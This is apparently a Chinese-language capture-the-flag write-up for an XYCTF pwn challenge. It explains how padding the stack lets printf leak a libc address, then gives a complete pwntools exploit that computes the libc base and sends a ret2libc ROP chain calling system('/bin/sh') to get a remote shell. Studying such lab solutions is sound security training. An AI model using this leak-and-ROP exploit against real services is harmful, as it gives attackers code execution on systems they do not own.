查看保护
查看ida
这里的printf没有格式化字符串漏洞,但是我们依旧可以填充栈来利用printf泄露栈上信息
根据我们能填充的字节数来看,我们无法泄露出libc_start_main+128的地址,但是可以泄露libc_start_call_main+128的地址,利用加上或减去相对libc_start_main的偏移依旧可以得出libc_start_main的地址,实现ret2libc。
完整exp:
from pwn import*
context(log_level='debug')
p=remote('xyctf.top',42665)
payload=b'a'*0x28
p.sendafter(b'please input your name:',payload)
p.recvuntil(b'Welcome to XYCTF! ')
p.recvuntil(b'a'*0x28)
libc_start_call_main128=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(libc_start_call_main128))
libc_start_main128=libc_start_call_main128+0xb0
libc_start_main=libc_start_main128-128
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libcbase=libc_start_main-libc.sym['__libc_start_main']
system=libcbase+libc.sym['system']
binsh=libcbase+next(libc.search(b'/bin/sh'))
pop_rdi=libcbase+0x2a3e5
ret=libcbase+0x29139
payload=b'a'*0x28+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)
p.sendafter(b'please input your name:',payload)
p.interactive()